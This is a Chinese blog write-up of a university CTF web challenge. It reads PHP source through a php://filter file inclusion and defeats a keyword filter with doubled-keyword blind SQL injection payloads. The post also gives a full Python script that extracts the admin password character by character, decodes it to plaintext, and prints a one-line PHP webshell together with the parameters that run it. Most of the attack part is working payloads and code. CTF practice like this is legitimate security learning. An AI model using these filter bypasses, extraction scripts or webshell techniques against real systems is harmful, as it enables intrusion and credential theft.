复制代码

3. 关于sql注入的综合题

关于sql注入的综合题

这是一道出自南京邮电大学CTF题,地址 : http://cms.nuptzj.cn/

直接访问首页index.php

明显看到页面提示的信息挺多,先对这个页面进行信息搜集。

点击留言搜索,可以请求到so.php文件

进入留言板块,输入内容,点击留言,可以请求到preview.php文件:

点击提交会请求say.php文件

点击页面最下面的 本CMS说明

根据这个sm.txt , 我们可以得到好多消息:

config.php:存放数据库信息,移植此CMS时要修改

index.php:主页文件

passencode.php:Funny公司自写密码加密算法库

say.php:用于接收和处理用户留言请求

sm.txt:本CMS的说明文档 sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, ),表名 : admin  字段名 :username , userpass

 

而且当我们看到这个url : http://cms.nuptzj.cn/about.php?file=sm.txt ,这完全符合文件包含的特征 。

具体操作步骤在我上一篇博客中:《文件包含(150)》

利用文件包含尝试读取so.php文件:http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=so.php

base64解码读取so.php代码文件:

<?php
  if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
    echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
      exit();
  }
  
  $id
=$_POST['soid'];   
  include
'config.php';   include 'antiinject.php';   include 'antixss.php';   

  $id
=antiinject($id);   $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());   mysql_select_db($db_name,$con);   $id=mysql_real_escape_string($id);   $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");   $rs=mysql_fetch_array($result);   echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';   mysql_free_result($result);   mysql_free_result($file);   mysql_close($con); ?>

可以看到so.php文件主要是接收用户的输入,并把用户输入的内容插入到数据库中。并且include包含了config.phpantiinject.phpantixss.php,看文件名字应该是对用户输入的内容进行sql注入,xss检测,尝试读取antiinject.php文件:

<?php
  function antiinject($content){
    $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
    $info=strtolower($content);
    for($i=0;$i<=count($keyword);$i++){
       $info=str_replace($keyword[$i], '',$info);
    }
    return $info;
  }
?>

通读代码发现对一些sql注入的常用敏感词汇进行了过滤。

继续读取其他php文件:

say.php

include 'config.php';
  $nice=$_POST['nice'];
  $say=$_POST['usersay'];

  if(!isset($_COOKIE['username'])){
    setcookie('username',$nice);
    setcookie('userpass','');
  }
  
  $username=$_COOKIE['username'];
  $userpass=$_COOKIE['userpass'];
  if($nice=="" || $say==""){
    echo "<script>alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');</script>";
    exit();
  }
  $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());  
  mysql_select_db($db_name,$con);
  

  $nice
=mysql_real_escape_string($nice);   $username=mysql_real_escape_string($username);   $userpass=mysql_real_escape_string($userpass);   

  $result
=mysql_query("SELECT username FROM admin where username='$nice'",$con);   $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);   if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){     echo "<script>alert('昵称已被使用,请更换!');</script>";     mysql_free_result($login);     mysql_free_result($result);     mysql_close($con);     exit();   }   mysql_free_result($login);   mysql_free_result($result);   $say=mysql_real_escape_string($say);   mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);   mysql_close($con);   echo '<script>alert("构建和谐社会,留言需要经过管理员审核才可以显示!");window.location = "./index.php"</script>'; ?>

 passencode.php:

<?php
  function passencode($content){
  //$pass=urlencode($content);
    $array=str_split($content);
    $pass="";
    for($i=0;$i<count($array);$i++){
      if($pass!=""){
        $pass=$pass." ".(string)ord($array[$i]);
      }else{
        $pass=(string)ord($array[$i]);
      }
    }
    return $pass;
  }
?>

 antixss.php:

<?php
  function antixss($content){
    preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
    $key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
    $re=$url[2];
    if(count($url)==0){
      return htmlspecialchars($content);
    }else{
      for($i=0;$i<=count($key);$i++){
        $re=str_replace($key[$i], '_',$re);
      }
      return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
    }
  }
?>

 about.php:

<?php
  $file=$_GET['file'];
  if($file=="" || strstr($file,'config.php')){
    echo "file参数不能为空!";
    exit();
  }else{
    $cut=strchr($file,"loginxlcteam");
    if($cut==false){
      $data=file_get_contents($file);
      $date=htmlspecialchars($data);
      echo $date;
    }else{
      echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
    }
}
?>

这里写图片描述

通过观察so.php,存在注入点soid。数据表名为 admin 字段名username userpass
开始注入

soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/0,1)
# 有回显

soid
=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1) # 无回显

说明该表中只有一条记录。

soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>4)
# 有回显

soid
=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>5) # 无回显

说明用户名长度 5 位,那应该就是 admin 了,试下前两位。

soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,1,1))>96)
# 96 有回显,97 无回显,第一位 a

soid
=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,2,1))>99) # 99 有回显,100 无回显,第二位 d

很明显就是 admin 了。

soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>33)
# 有回显

soid
=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>34) # 无回显

说明密码长度 34 位,之前还读到一个 passencode.php 文件。

密文存储了密码的 ASCII 码,那么就是纯数字了,写个脚本跑一下。

利用脚本爆内容

# coding=utf-8
import requests
import string

urlmain = 'http://cms.nuptzj.cn/so.php'
headers = {
    'User-Agent': 'Xlcteam Browser',
    'Host': 'cms.nuptzj.cn',
}

payloads = string.digits
password = ''

for i in range(1, 35):
    for j in payloads:
        payload = ('1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where'
                   '/**/ascii(mid(userpasPASSs,%s,1))>%s)' % (i, ord(j)))
        data = {
            'soid': payload
        }
        response = requests.post(url=urlmain, headers=headers, data=data)
        if len(response.content) < 430:
            password += j
            print '[*] Fetching password: ' + password
            break

结果为admin   1020117099010701140117011001160117

后面的加密算法在 passencode.php 里面解密为  fuckruntu

有了账号密码就可以登后台了,

about.php里找到登陆后台:http://cms.nuptzj.cn/loginxlcteam/

这里写图片描述

要想拿到flag,还要破解小马文件xlcteam.php,尝试读取

xlcteam.php

<?php
  $e = $_REQUEST['www'];
  $arr = array($_POST['wtf'] => '|.*|e',);
  array_walk($arr, $e, '');
?>

典型的一句话木马

构造参数:

www=preg_replace&wtf=print_r(scandir(‘.’)) 

就可以获取flag

posted @ 2018-04-20 13:44  bmjoker  阅读(1532)  评论(4编辑  收藏  举报